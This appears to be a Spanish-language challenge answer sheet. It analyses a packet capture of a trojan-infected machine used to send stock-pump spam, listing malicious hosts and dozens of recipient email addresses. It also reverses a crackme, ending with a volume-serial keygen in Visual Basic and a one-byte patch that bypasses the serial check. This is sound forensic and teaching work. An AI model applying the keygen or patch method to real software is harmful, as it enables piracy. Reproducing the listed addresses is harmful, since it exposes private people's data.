Algunas de ellas responden y otras no. A todas se hace un get PXFAHN 

Tiene aspecto de que la victima ha pasado a ser un nodo mas de una red zombie y el troyano esta conectando con el servidor C&C
A continuación (FRAMES 3138-3310) la victima consulta los registros MX y A de una serie de servidores de correo a los que va a comenzar a mandar SPAM.

A partir del FRAME siguiente, 3311, comienza a mandar SPAM como el siguiente:

Subject: New Sub Penny Alert Coming Soon 
Date: Thu, 18 Apr 2013 10:25:36 +0100 MIME-Version: 1.0 
Content-Type: text/plain; .format=flowed; .charset="iso-8859-2"; .reply-type=original 
Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: 
Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1506 
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 

Body:
Welcome announcement for P_W_E I watchers. Buy thousands of P_W_E I  stock offered at the morning, since it's still bargained. Then see the  pps spike to 55 cents - or maybe hit a 1! Prepare to make a fortune on  P_W_E I starting Thursday, Apr 18. 

En total intenta mandar más de 300 correos en el tiempo que dura la captura (hay 320 sesiones).

Una vez comprometido el sistema, según las evidencias que tenemos, ¿para qué se ha estado utilizando? Indique por favor todos los detalles: destinos de las conexiones con finalidad maliciosa; cuáles han tenido éxito y cuáles no, en este caso indicando el porqué; aportando el mayor detalle posible del destino de los ataques.[35%]
La victima es usada como un servidor de correo SPAM.

A partir de la ejecución del VZ1.JAR la maquina queda comprometida y comienzan a descargarse un troyano newbos3.exe desde  109.87.207.34 – kolasoeg.ru  (FRAME  2714)

Al ejecutarse este troyano, la victima se conecta con 46.119.212.23 y 5.105.75.42, se conecta con 78.111.219.45 para descargarse login.html

A partir del frame 2777 (segundo 74, 10 segundos después de ejecutar el troyano) abre 65 conexiones HTTP contra las siguientes 9 IPs 141.102.121.96, 186.2.166.59, 190.93.251.24, 90.156.201.11, 50.62.238.103, 91.202.142.208, 186.2.185.13, 178.32.71.33, 64.235.40.176. Los 5 primeras Ips están activas y responden, las 4 últimas no.

A todas se hace un get PXFAHN a lo que responden con un Bad Request, pero la conexión continúa sin otras descargas.
Tiene aspecto de que la victima ha pasado a ser un nodo mas de una red zombie y el troyano esta conectando con los servidores C&C. 

A continuación (FRAME 2996-3137) se descarga el fichero file.html desde 5.105.75.42 y tiene aspecto de que este fichero contiene cifrados, las direcciones de correo y los servidores MX desde los que mandar el SPAM. 

En cuanto acaba la descarga de ese file.html, la victima consulta los registros MX y A de una serie de servidores de correo (FRAMES 3138-3310) a los que va a comenzar a mandar SPAM.

A partir del FRAME siguiente, 3311, comienza a mandar SPAM como el siguiente:

Subject: New Sub Penny Alert Coming Soon 

Body:
Welcome announcement for P_W_E I watchers. Buy thousands of P_W_E I  stock offered at the morning, since it's still bargained. Then see the  pps spike to 55 cents - or maybe hit a 1! Prepare to make a fortune on  P_W_E I starting Thursday, Apr 18. 

En total intenta mandar más de 300 correos en el tiempo que dura la cptura (hay 320 sesiones).

Algunas de las direcciones de correo y su respuesta son:
mail1.corpmailsvcs.com  ?     
bpurins@optonline.net  - 550 5.1.1 unknown or illegal alias: bpurins@optonline.net
jayeandy@yahoo.com  OK ok dirdel    
marsha_n_cali@yahoo.com OK deferred 451 Message temporarily deferred - [140]
acafiero.office@cox.net 250 2.0.0 RLbC1l01Q2mYAnX01LbECt mail accepted for delivery        
annaauu@yahoo.com  OK deferred 451 Message temporarily deferred - [160]
allisonkpace@gmail.com  OK     
jmlee325@gmail.com  OK     
greg.mcallister@adtech.com  550 No such user (greg.mcallister@adtech.com)
janisamzallag@rogers.com  OK 250 ok dirdel    
dionne.matthews@bankofamerica.com 550 5.0.0 User unknown   
comoline@hotmail.com  OK??Queued 250     
guiggs14@hotmail.com  550 Requested action not taken: mailbox unavailable  
sagirkennel@yahoo.com  OK 250 ok dirdel    
rgoodman5@cinci.rr.com  OK 250 OK 12/F5-02208-440BF615
hfsommer@earthlink.net  550 hfsommer@earthlink.net...User unknown  
murphmcd@sbcglobal.net  OK 250 ok dirdel    
sgntblain@cs.com 550 5.1.1 : Recipient address rejected: cs.com 
llcoeone@iowatelcom.net  ok     
bpurinto@student.umass.edu  550 5.1.1 : Recipient address rejected: User unknown in relay recipient table   
sjjones@voyager.net  554 5.7.1 Service unavailable; Client host [195.53.165.128] blocked using local.ip.rbl; http://www.spamhaus.org/query/bl?ip=195.53.165.128   
judy@artechecarr.com  ok     
larsflatoe@hotmail.com   Queued mail for delivery  250  <000f01ce3c0f$a4c80130$6d3498e6@hanz0785663ba1o4lr5> Queued mail for delivery   
dennis.west@pfizer.com  550 5.7.0 Local Policy Violation   
dionne@mattinglycorp.com  250  [InternalId=16039451] Queued mail for delivery
painting4me@msn.com  550 Requested action not taken: mailbox unavailable 
shonda.mark@vonage.com  OK  
ewroberts38@earthlink.net  550 ewroberts38@earthlink.net...User unknown   
yafeng_xiao@hotmail.com   Queued mail for delivery  250    
johnfkm03@aol.com  250 2.0.0 Ok: queued as 36E3F380000B2   
jmlee3@msn.com   Queued mail for delivery  250  
nic26@sbcglobal.net  OK 250 ok dirdel    
dguttman@uvm.edu  550 5.0.0 ... User unknown 
jvhjh@worldnet.att.net    551 not our customer   
aleksicveronica@aol.com  250 2.0.0 Ok: queued as AFB0938000084 
lori.lizik@fiserv.com  OK  
lorilizrogers@gmail.com  OK 
4bewers@verizon.net  550 5.1.1 unknown or illegal alias: 4bewers@verizon.net 
loriljackson@hotmail.com   Queued mail for delivery  250    
johnfk@microsoft.com   Queued mail for delivery  50 2.6.0 

REVERSING

¿En qué se basa la generación del número de serie?[20%]
Se basa en la llamada a la API del sistema GetVolumeInformation: 
CALL <JMP.&kernel32.GetVolumeInformationA>
Veamos, en la función que comienza en la instrucción 004010A3, hace una llamada a GetTickCount que no sirve para nada, y posteriormente hace una llamada a GetVolumeInformation pasándole como arg1 la unidad: C:\, como arg2, cero, como arg3 el tamaño del volumen y como arg4 un buffer que será donde escriba la información del volumen. Este Buffer esta en la posición 004030B8.
004010A3  /$  33C0         XOR EAX,EAX                  ; reversing.004010A3(guessed void)
004010A5  |.  E8 6E010000  CALL <JMP.&kernel32.GetTickCount>        ; [KERNEL32.GetTickCount
004010AA  |.  6A 00        PUSH 0                       ; /SysNameSize = 0
004010AC  |.  6A 00        PUSH 0                       ; |SysName = NULL
004010AE  |.  6A 00        PUSH 0                       ; |pFlags = NULL
004010B0  |.  6A 00        PUSH 0                       ; |pMaxNameLength = NULL
004010B2  |.  68 B8304000  PUSH OFFSET 004030B8         ; |pSerialNumber = reversing.4030B8 -> 0
004010B7  |.  68 B7304000  PUSH OFFSET 004030B7         ; |VolumeSize = 4206775.
004010BC  |.  68 26314000  PUSH OFFSET 00403126         ; |VolumeName = reversing.403126 -> 00
004010C1  |.  68 B3304000  PUSH OFFSET 004030B3         ; |Root = "C:\"
004010C6  |.  E8 53010000  CALL <JMP.&kernel32.GetVolumeInformationA> ; \KERNEL32.GetVolumeInformationA
El valor devuelto por GetVolumeInformation es posteriormente copiado en la posición de memoria 00403136 en ASCII:
004010F2  |.  FF35 B8304000 PUSH DWORD PTR DS:[4030B8]  ; /<%.08X> = 0
004010F8  |.  68 BC304000   PUSH OFFSET 004030BC        ; |Format = "%.08X"
004010FD  |.  68 36314000   PUSH OFFSET 00403136        ; |Buf = ""
00401102  |.  E8 2B020000   CALL <JMP.&user32.wsprintfA>             ; \USER32.wsprintfA
00401107  |.  83C4 0C       ADD ESP,0C
0040110A  \.  C3            RETN
Posteriormente, desde el Entry Point, es llamada la función que comienza en la instrucción 0040110B que es básicamente un strcmp(serialmetido,volumeinformation),
0040110B  /$  33C0          XOR EAX,EAX
0040110D  |.  6A 08         PUSH 8                      ; /Count2 = 8
Aqui compara las posiciones de memoria donde esta almacenado el serial introducido, 004030C2 y el volumen information, 00403136:
0040110F  |.  68 36314000   PUSH OFFSET 00403136        ; |String2 = ""
00401114  |.  6A 08         PUSH 8                      ; |Count1 = 8
00401116  |.  68 C2304000   PUSH OFFSET 004030C2        ; |String1 = ""
0040111B  |.  6A 01         PUSH 1                      ; |Flags = NORM_IGNORECASE
0040111D  |.  6A 00         PUSH 0                      ; |Locale = LOCALE_NEUTRAL
0040111F  |.  E8 E8000000   CALL <JMP.&kernel32.CompareStringA>      ; \KERNEL32.CompareStringA
00401124  |.  83F8 02       CMP EAX,2
Si son iguales, salta a la función de la instrucción 0040115ª y si no, decodifica el mensaje de error “Error!! Invalid serial number”:
00401127  |.  74 31         JE SHORT 0040115A
00401129  |.  FF35 8B304000 PUSH DWORD PTR DS:[40308B]  ; /Arg3 = 20
0040112F  |.  68 00304000   PUSH OFFSET 00403000        ; |Arg2 = reversing.403000
00401134  |.  68 6A304000   PUSH OFFSET 0040306A        ; |Arg1 = reversing.40306A
00401139  |.  E8 4C000000   CALL 0040118A               ; \reversing.0040118A
0040113E  |.  68 00304000   PUSH OFFSET 00403000        ; /Arg1 = reversing.403000
00401143  |.  E8 E4000000   CALL 0040122C               ; \reversing.0040122C
00401148  |.  FF35 8B304000 PUSH DWORD PTR DS:[40308B]  ; /Arg2 = 20
0040114E  |.  68 00304000   PUSH OFFSET 00403000        ; |Arg1 = reversing.403000
00401153  |.  E8 94000000   CALL 004011EC               ; \reversing.004011EC
00401158  |.  58            POP EAX
00401159  |.  C3            RETN

Explica el cifrado de cadenas.[30%]
Existen 4 cadenas que aparecen en este ejecutable:
• “Type the serial number:”
• “Error!! Invalid serial number.”
• “The serial number is OK”
• Press ENTER to Finish

Todas ellas se encuentran, codificadas en el ejecutable del programa. En concreto están en las posiciones 004030C2, 0040306A , 0040304F y 0040308F respectivamente.

Sin embargo cuando se llama a la función que llama a la API WriteFile ( que es la que escribe por pantalla), siempre se le pasa como argumento la posición 00403000 (Esta función comienza en la instrucción 0040122C):
0040116F  |.  68 00304000   PUSH OFFSET 00403000        ; /Arg1 = reversing.403000
00401174  |.  E8 B3000000   CALL 0040122C               ; \reversing.0040122C
Esto es así porque siempre antes de esta llamada se hace otra a una función que convierte las cadenas y las pone en 00403000:
0040115A  |.  FF35 66304000 PUSH DWORD PTR DS:[403066]  ; /Arg3 = 16
00401160  |.  68 00304000   PUSH OFFSET 00403000        ; |Arg2 = reversing.403000
00401165  |.  68 4F304000   PUSH OFFSET 0040304F        ; |Arg1 = reversing.40304F
0040116A  |.  E8 1B000000   CALL 0040118A               ; \reversing.0040118A
0040116F  |.  68 00304000   PUSH OFFSET 00403000        ; /Arg1 = reversing.403000
00401174  |.  E8 B3000000   CALL 0040122C               ; \reversing.0040122C
Esta function es la siguiente, se añaden explicaciones entre líneas:

Inicio típico de una función, limpiando la casa:
0040118A  /$  55            PUSH EBP                    ; reversing.0040118A(guessed Arg1,Arg2,Arg3)
0040118B  |.  8BEC          MOV EBP,ESP
0040118D  |.  53            PUSH EBX
0040118E  |.  51            PUSH ECX
0040118F  |.  56            PUSH ESI
00401190  |.  57            PUSH EDI
00401191  |.  33C0          XOR EAX,EAX
00401193  |.  BB 5C2B8D54   MOV EBX,548D2B5C
00401198  |.  B9 32400000   MOV ECX,4032
Almacenamos en ESI la posición de memoria de la cadena codificada y en EDI la posicion de memoria del buffer que se imprimira por pantalla:
0040119D  |.  8B75 08       MOV ESI,DWORD PTR SS:[ARG.1]
004011A0  |.  8B7D 0C       MOV EDI,DWORD PTR SS:[ARG.2]
Toda sección es innecesario. Son 16434 bucles modificando EBX que luego al finalizar tendrá siempre el valor 548D2B5C:
004011A3  |>  81F3 00006699 /XOR EBX,99660000
004011A9  |.  81F3 0000232D |XOR EBX,2D230000
004011AF  |.  81F3 0000AA11 |XOR EBX,11AA0000
004011B5  |.  81F3 0000DD98 |XOR EBX,98DD0000
004011BB  |.  81F3 0000FF33 |XOR EBX,33FF0000
004011C1  |.  49            |DEC ECX
004011C2  |.  0BC9          |OR ECX,ECX
004011C4  |.^ 75 DD         \JNE SHORT 004011A3
Aqui en ECX se le indica el numero de iteraciones que se harán del siguiente bucle (depende de la longitud de la cadena)
004011C6  |.  8B4D 10       MOV ECX,DWORD PTR SS:[ARG.3]
Cogemos los dos primeros bytes de la cadena codificada
004011C9  |.  66:8B06       /MOV AX,WORD PTR DS:[ESI]
Los rotamos, poniendolos en su posición real, tal y como saldrían por pantalla
004011CC  |.  66:C1C8 08    |ROR AX,8
Hacemos un XOR con el valor 548D2B5C:
004011D0  |.  66:33C3       |XOR AX,BX

004011D3  |.  46            |INC ESI
004011D4  |.  46            |INC ESI
Los volvemos a rotar para volver a escribirlos en memoria:
004011D5  |.  66:C1C8 08    |ROR AX,8
Los pasamos a la posicion de memori 00403000:
004011D9  |.  66:8907       |MOV WORD PTR DS:[EDI],AX

004011DC  |.  47            |INC EDI
004011DD  |.  47            |INC EDI
004011DE  |.  49            |DEC ECX
004011DF  |.  49            |DEC ECX
Comprobamos si debemos salir del bucle (ECX es cero):
004011E0  |.  0BC9          |OR ECX,ECX
004011E2  |.^ 75 E5         \JNE SHORT 004011C9
004011E4  |.  5F            POP EDI
004011E5  |.  5E            POP ESI
004011E6  |.  59            POP ECX
004011E7  |.  5B            POP EBX
004011E8  |.  C9            LEAVE
004011E9  \.  C2 0C00       RETN 0C
Básicamente y a modo de resumen, se trata de un XOR con  548D2B5C, aunque ante se hace un rotado cambiando el orden de los bytes.

Muestra el código de un generador de serials. (Da igual el lenguaje)[50%]
El numero de serie del volumen o VolumeID es una sucesión de ocho letras y números en el formato "xxxx-yyyy"

Se puede conocer mediante el comando “vol” del sistema.

El formato del serial es xxxxyyyy (sin incluir el guion intermedio).


Dado que el serial de este ejecutable se basa en el volumenID de la unidad C donde se ejecuta, sólo existe un serial válido en cada máquina.


Esta sería una función para obtenerlo en visual basic:
1. Function HDSerialNumber() As String
2. Dim fsObj As Object
3. Dim drv As Object
4.     Set fsObj = CreateObject("Scripting.FileSystemObject")
5.     Set drv = fsObj.Drives("C")
6.     HDSerialNumber = Left(Hex(drv.SerialNumber), 4) _
7.                      & Right(Hex(drv.SerialNumber), 4)
8.     Debug.Print HDSerialNumber
9.  
10. End Function
Habria muchas otras maneras de evitar tener que usar un serial modificando bytes sueltos en el ejecutable. Por ejemplo modificando la instruccion 401127 y poniendo un JMP en vez de un JE (EB31 en vez de  7431)